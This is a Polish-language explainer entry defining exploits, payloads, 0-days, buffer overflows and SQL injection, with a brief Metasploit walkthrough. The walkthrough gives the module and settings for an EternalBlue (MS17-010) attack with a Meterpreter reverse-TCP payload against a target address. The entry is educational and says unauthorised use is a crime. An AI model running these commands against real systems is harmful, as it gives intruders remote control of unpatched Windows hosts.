Exploit to fragment kodu, danych albo sekwencja działań, która wykorzystuje konkretną podatność (vulnerability) w oprogramowaniu, systemie lub konfiguracji, żeby zmusić go do zachowania, którego twórca nie przewidział — najczęściej do wykonania cudzego kodu, eskalacji uprawnień albo wycieku danych. Krótko: podatność to dziura, a exploit to klucz dopasowany do tej konkretnej dziury.
Jak to działa i do czego służy
Exploit nie jest magią — to precyzyjne nadużycie błędu. Program zakłada, że dostanie 64 znaki, a ty wysyłasz 5000 i nadpisujesz pamięć poza buforem (klasyczny buffer overflow). Albo formularz logowania skleja twój input bezpośrednio z zapytaniem SQL, więc wstrzykujesz własne polecenie (SQL injection). Exploit to przepis, który zamienia ten błąd w realny efekt: shell na serwerze, obejście logowania, odczyt plików.
Warto rozdzielić dwa pojęcia. Exploit to mechanizm uruchamiający podatność. Payload to to, co exploit dostarcza i odpala po przełamaniu zabezpieczeń — np. reverse shell albo dodanie konta admina. Osobno mówi się o 0-day (exploit na lukę, dla której nie ma jeszcze łatki) i o exploitach na znane CVE, które łatasz aktualizacją.
Przykład z praktyki
Najpopularniejszy framework to Metasploit. W pentestach na maszynie testowej (nigdy na cudzej bez zgody — to przestępstwo) wygląda to mniej więcej tak:
search eternalblue— znajdź moduł dla podatności (tu: MS17-010 w SMBv1).use exploit/windows/smb/ms17_010_eternalblueset RHOSTS 10.0.0.5iset PAYLOAD windows/x64/meterpreter/reverse_tcprun— jeśli host jest niezałatany, dostajesz sesję meterpretera.
EternalBlue to nie teoria z laba — to ten sam mechanizm, który napędził ransomware WannaCry w 2017 roku. Załatany host po prostu odbija atak, niezałatany oddaje kontrolę.
Mity i na co uważać
Mit pierwszy: „mam exploita, więc jestem hakerem”. Uruchomienie cudzego modułu to nie to samo co zrozumienie podatności — a przeciwko zaktualizowanemu systemowi większość publicznych exploitów po prostu nie zadziała. Mit drugi: „exploity są nielegalne”. Sam kod jest narzędziem; nielegalne jest użycie go na systemie bez autoryzacji. Pentesterzy i red teamy używają ich legalnie, na podstawie umowy i zakresu testów.
Praktyczna rada: nie ściągaj losowych „exploitów” z forów i nie odpalaj ich na produkcji — często same w sobie zawierają backdoora albo niszczą usługę. Ucz się na celowo podatnych maszynach (Metasploitable, DVWA, HackTheBox).
Pojęcia powiązane
Vulnerability (podatność), CVE, payload, 0-day, buffer overflow, SQL injection, Metasploit, exploit chain, patch i CVSS — czyli ekosystem, w którym exploit jest tylko jednym, ale najgłośniejszym elementem.